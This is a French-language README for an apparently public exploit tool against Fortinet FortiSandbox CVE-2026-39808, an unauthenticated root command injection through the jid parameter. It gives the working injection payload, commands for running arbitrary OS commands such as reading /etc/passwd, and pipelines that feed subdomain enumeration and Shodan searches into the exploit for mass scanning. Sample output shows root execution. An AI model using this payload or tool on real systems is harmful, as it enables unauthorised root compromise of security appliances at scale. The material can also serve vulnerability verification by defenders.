
Scanner RCE non authentifié pour FortiSandbox CVE-2026-39808 avec vérification basée sur canary, exécution de commandes et intégration pipeline pour le scan de masse.
Injection de commandes OS non authentifiée en tant que root dans Fortinet FortiSandbox
Vulnérabilité • Installation • Utilisation • Fonctionnement • Pipeline • Dorks Shodan • Avertissement
CVE-2026-39808 est une vulnérabilité critique d'injection de commandes OS non authentifiée dans Fortinet FortiSandbox. Le point de terminaison d'API /fortisandbox/job-detail/tracer-behavior ne parvient pas à assainir le paramètre jid, permettant à un attaquant d'injecter des commandes OS arbitraires qui s'exécutent en tant que root — sans aucune authentification.
| Détail | Valeur |
|---|---|
| ID CVE | CVE-2026-39808 |
| Score CVSS | 9.8 (Critique) |
| Vecteur d'attaque | Réseau |
| Authentification | Aucune |
| Privilèges | Root |
| Versions affectées | FortiSandbox < 4.4.9 |
| Corrigé dans | 4.4.9 et supérieur |
| Avis | FG-IR-25-325 |
Le paramètre jid dans le point de terminaison tracer-behavior est transmis directement à une commande système sans assainissement. En utilisant des caractères de pipe (|), un attaquant peut sortir du contexte de commande prévu et exécuter des commandes arbitraires :
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1
La sortie est écrite dans /web/ng/out.txt, accessible à /ng/out.txt sur le serveur web — fournissant un mécanisme pratique de lecture pour l'injection de commandes aveugle.
Zéro dépendance. Bibliothèque standard Python 3.7+ uniquement.
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py
# Vérifier si une cible est vulnérable (utilise une détection basée sur canary)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com
# Exécuter une commande spécifique sur la cible
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"
# Vérifier uniquement si vulnérable, sans exécuter --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080
python3 fortisandbox_rce.py -u https://target.com -o report.json
# Depuis une liste d'URL
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json
# subfinder → httpx → scanner
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin
# Shodan → scanner
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
sed 's/^/https:\/\//' | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only -o results.json
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
[--proxy PROXY] [--timeout TIMEOUT]
[--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]
Options:
-u, --url URL URL cible
--stdin Lire les URL depuis stdin (mode pipeline)
--cmd CMD Commande OS à exécuter (défaut : id)
--verify-only Vérifier uniquement la vulnérabilité, sans exécuter --cmd
--proxy PROXY Proxy HTTP (ex. : http://127.0.0.1:8080)
--timeout TIMEOUT Délai d'expiration HTTP en secondes (défaut : 15)
--rate-limit RATE_LIMIT Délai entre les cibles en ms (défaut : 0)
-o, --output FILE Fichier de rapport JSON de sortie
--no-banner Supprimer la bannière
Le scanner utilise un processus de vérification en 5 étapes avec une prévention stricte des faux positifs :
Étape 1 → Détecter FortiSandbox (empreinte titre/en-tête)
Étape 2 → Vérifier si le point de terminaison vulnérable existe
Étape 3 → Injecter une chaîne canary unique via l'injection de commande
Étape 4 → Lire /ng/out.txt et vérifier le canary (validation stricte de texte brut)
Étape 5 → Exécuter la commande utilisateur + nettoyage
Le scanner implémente plusieurs couches de validation pour éliminer les faux positifs :
text/htmlid — Correspondance stricte du motif uid=\d+(\w+) avec vérification de taille (<1000 octets)/ng pour éviter les problèmes de double chemin ╔══════════════════════════════════════════════════════════╗
║ Scanner RCE FortiSandbox v1.0 — CVE-2026-39808 ║
║ Injection de commande non authentifiée (root) ║
╚══════════════════════════════════════════════════════════╝
mitsec | @ynsmroztas
┌──────────────────────────────────────────────────────────┐
│ Cible : https://fortisandbox.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox détecté !
▸ Vérification du point de terminaison : /fortisandbox/job-detail/tracer-behavior
▸ Statut du point de terminaison : 200 | Content-Type : text/html
▸ Injection du canary : mitsec_a8k3m2x1
▸ Lecture de la sortie : https://fortisandbox.example.com/ng/out.txt
CRITIQUE 🔥 VULNÉRABLE — CVE-2026-39808 CONFIRMÉ !
CRITIQUE Cible : https://fortisandbox.example.com
✓ Canary 'mitsec_a8k3m2x1' vérifié dans la sortie (texte brut propre)
──────────────────────────────────────────────────────────
Sortie de commande : id
──────────────────────────────────────────────────────────
│ uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────────────
✓ Fichier de sortie nettoyé